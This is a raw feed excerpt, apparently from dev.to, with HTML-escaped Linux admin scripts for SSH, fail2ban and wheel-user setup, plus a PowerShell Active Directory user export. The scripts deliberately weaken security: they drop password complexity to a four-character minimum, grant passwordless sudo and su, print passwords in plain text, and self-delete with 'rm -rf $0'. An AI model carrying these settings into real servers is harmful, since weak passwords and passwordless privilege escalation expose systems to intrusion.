&lt;span class="nv"&gt;get_my_ip&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;who&lt;/span&gt;|awk &lt;span class="s1"&gt;'{print $5}'&lt;/span&gt;| &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'('&lt;/span&gt; &lt;span class="nt"&gt;-f2&lt;/span&gt; | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;')'&lt;/span&gt; &lt;span class="nt"&gt;-f1&lt;/span&gt;|sed &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s1"&gt;'1p'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;

&lt;span class="c"&gt;# Edit, modify configuration permissions, and restart the service to apply changes&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="s2"&gt;"
PubkeyAuthentication yes # Allow Public Key authentication
PermitRootLogin yes # Allow Root login
PasswordAuthentication no # Disable password authentication
ClientAliveInterval 30 # Client sends a heartbeat to the server every 30 seconds
ClientAliveCountMax 86400 # Server disconnects if the client is unresponsive for 86400 seconds
# AllowUsers *@&lt;/span&gt;&lt;span class="nv"&gt;$get_my_ip&lt;/span&gt;&lt;span class="s2"&gt; *@127.0.0.1 # Switching proxies immediately after login may interrupt SSH connections.
"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;/etc/ssh/sshd_config

&lt;span class="c"&gt;# Grant necessary permissions, suppress errors with &amp;gt;/dev/null 2&amp;gt;&amp;amp;1&lt;/span&gt;
&lt;span class="nb"&gt;chmod &lt;/span&gt;700 &lt;span class="nv"&gt;$HOME&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;chmod &lt;/span&gt;700 ~/.ssh 
&lt;span class="nb"&gt;touch&lt;/span&gt; ~/.ssh/authorized_keys &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;chmod &lt;/span&gt;600 ~/.ssh/authorized_keys &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;/dev/null 2&amp;gt;&amp;amp;1
systemctl restart sshd.service


&lt;span class="c"&gt;#--------------- Simplify Password Requirements -----------------------&lt;/span&gt;

&lt;span class="c"&gt;# Backup files&lt;/span&gt;
&lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; /etc/bak/pam.d/ &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;cp&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; /etc/pam.d/system-auth  /etc/bak/pam.d/
&lt;span class="c"&gt;# This works, but Linux systems may enforce a minimum of 8 characters; pam.d/system-auth has higher priority than login.defs&lt;/span&gt;
&lt;span class="c"&gt;# One configures system modules, the other is auxiliary account login policies; they differ significantly.&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"
# Add custom password policy: 3 retries, no special characters, case sensitivity, or minimum length (3 characters)
password&lt;/span&gt;&lt;span class="se"&gt;\t&lt;/span&gt;&lt;span class="s2"&gt;requisite&lt;/span&gt;&lt;span class="se"&gt;\t&lt;/span&gt;&lt;span class="s2"&gt;pam_pwquality.so&lt;/span&gt;&lt;span class="se"&gt;\t&lt;/span&gt;&lt;span class="s2"&gt;try_first_pass local_users_only retry=3
password&lt;/span&gt;&lt;span class="se"&gt;\t&lt;/span&gt;&lt;span class="s2"&gt;requisite&lt;/span&gt;&lt;span class="se"&gt;\t&lt;/span&gt;&lt;span class="s2"&gt;pam_pwquality.so&lt;/span&gt;&lt;span class="se"&gt;\t&lt;/span&gt;&lt;span class="s2"&gt;authtok_type= minlen=4 
password&lt;/span&gt;&lt;span class="se"&gt;\t&lt;/span&gt;&lt;span class="s2"&gt;requisite&lt;/span&gt;&lt;span class="se"&gt;\t&lt;/span&gt;&lt;span class="s2"&gt;pam_pwquality.so dcredit=0 ocredit=0 lcredit=0 ucredit=0
"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;/etc/pam.d/system-auth

&lt;span class="c"&gt;#****************** Install and Configure fail2ban *****************************&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"Installing fail2ban and its dependencies"&lt;/span&gt;
yum &lt;span class="nb"&gt;install &lt;/span&gt;epel-release &lt;span class="nt"&gt;-y&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; yum update &lt;span class="nt"&gt;-y&lt;/span&gt;
yum &lt;span class="nb"&gt;install &lt;/span&gt;fail2ban-firewalld fail2ban-systemd &lt;span class="nt"&gt;-y&lt;/span&gt; 
yum &lt;span class="nt"&gt;-y&lt;/span&gt; &lt;span class="nb"&gt;install &lt;/span&gt;git python3

&lt;span class="c"&gt;# Backup original files&lt;/span&gt;
&lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; /etc/bak/fail2ban_conf/ &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;cp&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; /etc/fail2ban/jail.conf /etc/bak/fail2ban_conf/

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="s2"&gt;"
[DEFAULT]
ignoreip = 127.0.0.1 &lt;/span&gt;&lt;span class="nv"&gt;$get_my_ip&lt;/span&gt;&lt;span class="s2"&gt;
maxretry = 3 
findtime  = 10 
bantime = -1

[ssh-iptables] 
enabled = true
filter = sshd
action = iptables[name=SSH, port=22, protocol=tcp] 
logpath  = /var/log/secure
"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /etc/fail2ban/jail.local


&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"Adding to the daemon, enabling auto-start, and starting fail2ban &lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
systemctl &lt;span class="nb"&gt;enable &lt;/span&gt;fail2ban.service &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; systemctl start fail2ban.service

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"----------------- Server Configuration Overview --------------------&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;SSH server key, login policy, heartbeat response, and IP range restrictions"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"Simplified password rules: Any case/symbols/numbers allowed, minimum 4 characters"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"fail2ban: Except for your IP (&lt;/span&gt;&lt;span class="nv"&gt;$get_my_ip&lt;/span&gt;&lt;span class="s2"&gt;), any IP with 3 failed attempts will be permanently banned.&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"All SSH server (Linux) configurations are now complete.&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="c"&gt;#************ All configurations done, starting verbose ECHO *********************&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"**** Point-to-Point Configuration Summary *****"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"SSH server configuration: vi /etc/ssh/sshd_config"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"Password policy configuration: vi /etc/pam.d/system-auth"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"Check banned IPs: fail2ban-client status ssh-iptables"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"Unban IP: fail2ban-client set ssh-iptables unbanip xxx.xxx.xxx.xxx &lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s1"&gt;'Generate client key: ssh-keygen -t ed25519 -C "your@email.com"'&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"Copy public key to server: ssh-copy-id -i ~/.ssh/id_ed25519.pub user@server"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"Client troubleshooting: rm -rf ~/.ssh/known_hosts ~/.ssh/known_hosts.old &amp;amp;&amp;amp; cat ~/.ssh/ssh_config &lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"------ Ban｜Key｜ Password ----&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"Ban IP has the highest priority; even with keys or passwords, access is denied."&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"If keys are configured but not authorized, even with a password, login is denied."&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"Most Linux hacks occur due to weak passwords, lack of one-to-one key authorization, and vulnerabilities in service programs."&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"The most critical settings are IP restrictions and BAN IP policies."&lt;/span&gt;

&lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-rf&lt;/span&gt; &lt;span class="nv"&gt;$0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;diy_add_wheel.sh&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Script to create a custom user with administrator privileges on a Linux system&lt;/span&gt;
&lt;span class="c"&gt;# This script is designed to make the process as smooth as setting up a user on a Windows PC.&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"After setting up the root user, use this script to create a custom user with administrator privileges.&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"⭐︎ A personalized account with admin rights, as smooth as using a Windows PC! ⭐︎&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="c"&gt;#****************** Create a User in the Wheel Group *****************&lt;/span&gt;

&lt;span class="c"&gt;# Prompt the user to enter a username and create a user in the 'wheel' group (admin group in CentOS/RHEL)&lt;/span&gt;
&lt;span class="nb"&gt;read&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s2"&gt;"Enter the username: "&lt;/span&gt; user_name
useradd &lt;span class="nt"&gt;-g&lt;/span&gt; wheel &lt;span class="nv"&gt;$user_name&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;User '&lt;/span&gt;&lt;span class="nv"&gt;$user_name&lt;/span&gt;&lt;span class="s2"&gt;' has been created successfully.&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="c"&gt;# Prompt the user to enter a password (displayed in plain text for verification)&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"◉ Note: The password will be displayed in plain text for verification purposes.&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nb"&gt;read&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s2"&gt;"Enter the password: "&lt;/span&gt; pass_word

&lt;span class="c"&gt;# Set the password for the new user&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$pass_word&lt;/span&gt; | passwd &lt;span class="nt"&gt;--stdin&lt;/span&gt; &lt;span class="nv"&gt;$user_name&lt;/span&gt;

&lt;span class="c"&gt;#************** Enable Wheel Group Privileges **************&lt;/span&gt;

&lt;span class="c"&gt;# Allow the 'wheel' group to use 'sudo' without a password&lt;/span&gt;
&lt;span class="c"&gt;# Step 1: Grant write permissions to the sudoers file&lt;/span&gt;
&lt;span class="nb"&gt;chmod &lt;/span&gt;u+w /etc/sudoers

&lt;span class="c"&gt;# Step 2: Uncomment the line that allows the 'wheel' group to use sudo&lt;/span&gt;
&lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s1"&gt;'s/# %wheel/%wheel/g'&lt;/span&gt; /etc/sudoers

&lt;span class="c"&gt;# Step 3: Add a rule to allow the new user to use 'sudo' without a password&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$user_name&lt;/span&gt;&lt;span class="s2"&gt; ALL=(ALL) NOPASSWD: ALL"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; /etc/sudoers

&lt;span class="c"&gt;# Step 4: Remove write permissions from the sudoers file for security&lt;/span&gt;
&lt;span class="nb"&gt;chmod &lt;/span&gt;u-w /etc/sudoers

&lt;span class="c"&gt;# Step 5: Enable passwordless 'su' (switch user) for members of the 'wheel' group&lt;/span&gt;
&lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s1"&gt;'s/#a/a/g'&lt;/span&gt; /etc/pam.d/su

&lt;span class="c"&gt;#********************** Additional Security Configurations *******************&lt;/span&gt;

&lt;span class="c"&gt;# Copy the SSH authorized_keys file to the new user's home directory (if it exists)&lt;/span&gt;
&lt;span class="c"&gt;# This allows the new user to use the same SSH keys as the root user&lt;/span&gt;
&lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; /home/&lt;span class="nv"&gt;$user_name&lt;/span&gt;/.ssh
&lt;span class="nb"&gt;cp&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; ~/.ssh/authorized_keys /home/&lt;span class="nv"&gt;$user_name&lt;/span&gt;/.ssh/authorized_keys &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /dev/null 2&amp;gt;&amp;amp;1

&lt;span class="c"&gt;# Disable root login via SSH for better security&lt;/span&gt;
&lt;span class="c"&gt;# Step 1: Remove any existing 'PermitRootLogin' line from the SSH config&lt;/span&gt;
&lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s1"&gt;'/^PermitRootLogin/d'&lt;/span&gt; /etc/ssh/sshd_config

&lt;span class="c"&gt;# Step 2: Add 'PermitRootLogin no' to disable root login&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"PermitRootLogin no"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; /etc/ssh/sshd_config

&lt;span class="c"&gt;# Reload the SSH service to apply the changes&lt;/span&gt;
systemctl reload sshd.service

&lt;span class="c"&gt;# Notify the user that the configuration is complete&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;Root SSH login has been disabled (PermitRootLogin no). All configurations are complete."&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"You can now log in using the new user '&lt;/span&gt;&lt;span class="nv"&gt;$user_name&lt;/span&gt;&lt;span class="s2"&gt;' via SSH.&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="c"&gt;# Local debugging command (for testing purposes)&lt;/span&gt;
&lt;span class="c"&gt;# scp ~/Desktop/diy_add_wheel.sh root@10x.xxx.xxx.xx5:$HOMEPATH&lt;/span&gt;

&lt;span class="c"&gt;# Self-delete the script after execution&lt;/span&gt;
&lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-rf&lt;/span&gt; &lt;span class="nv"&gt;$0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>ssh</category>
      <category>login</category>
      <category>configuration</category>
      <category>script</category>
    </item>
    <item>
      <title>A Simple Script for Exporting Domain Accounts (Requires Regex)</title>
      <dc:creator>Excalibra</dc:creator>
      <pubDate>Thu, 06 Feb 2025 04:03:07 +0000</pubDate>
      <link>https://dev.to/excalibra/a-simple-script-for-exporting-domain-accounts-requires-regex-2od3</link>
      <guid>https://dev.to/excalibra/a-simple-script-for-exporting-domain-accounts-requires-regex-2od3</guid>
      <description>&lt;h2&gt;
  
  
  Introduction:
&lt;/h2&gt;

&lt;p&gt;A straightforward script for exporting domain accounts. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/Excalibra/scripts/blob/main/d-pwsh-dc/Domain%20Users%20Export.ps1" rel="noopener noreferrer"&gt;https://github.com/Excalibra/scripts/blob/main/d-pwsh-dc/Domain%20Users%20Export.ps1&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If the company needs to verify the total number of personnel who are involved in production (production staff) monthly, the domain accounts of relevant production staff are exported. This allows the company to verify and cross-check the number of production staff with HR records, ensuring accurate reporting and management oversight. Essentially, it helps in maintaining an up-to-date and accurate count of employees directly involved in production activities.&lt;/p&gt;

&lt;h2&gt;
  
  
  Implementation:
&lt;/h2&gt;

&lt;p&gt;Export specified organizational units for summary statistics, excluding system-built users.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Export file path&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$outputFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"C:\Users\Administrator\Desktop\DomainUsersList.txt"&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Clear or create the export file&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Out-File&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-FilePath&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$outputFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# -Encoding UTF8 -Force&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Import Active Directory module&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Import-Module&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ActiveDirectory&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Set DistinguishedName for organizational units&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$ous&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;@(&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s2"&gt;"OU=Production Team,DC=CSXZX,DC=com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s2"&gt;"OU=Training,DC=CSXZX,DC=com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s2"&gt;"OU=Temporary Permissions,DC=CSXZX,DC=com"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kr"&gt;foreach&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$ou&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$ous&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="c"&gt;# Get all users in the organizational unit&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nv"&gt;$users&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Get-ADUser&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Filter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-SearchBase&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$ou&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Properties&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Name&lt;/span&gt;&lt;span class="w"&gt;

    &lt;/span&gt;&lt;span class="c"&gt;# Write user names to the file&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="kr"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$users&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nv"&gt;$ouName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Get-ADOrganizationalUnit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Identity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$ou&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Name&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c"&gt;# Get OU name&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="n"&gt;Add-Content&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$outputFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Organizational Unit: &lt;/span&gt;&lt;span class="nv"&gt;$ouName&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="kr"&gt;foreach&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$users&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="n"&gt;Add-Content&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$outputFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Name&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c"&gt;# Keep only user names&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="n"&gt;Add-Content&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$outputFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;`r`n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c"&gt;# Add line separator&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="n"&gt;Write-Host&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"No users found in the organizational unit &lt;/span&gt;&lt;span class="nv"&gt;$ouName&lt;/span&gt;&lt;span class="s2"&gt;."&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

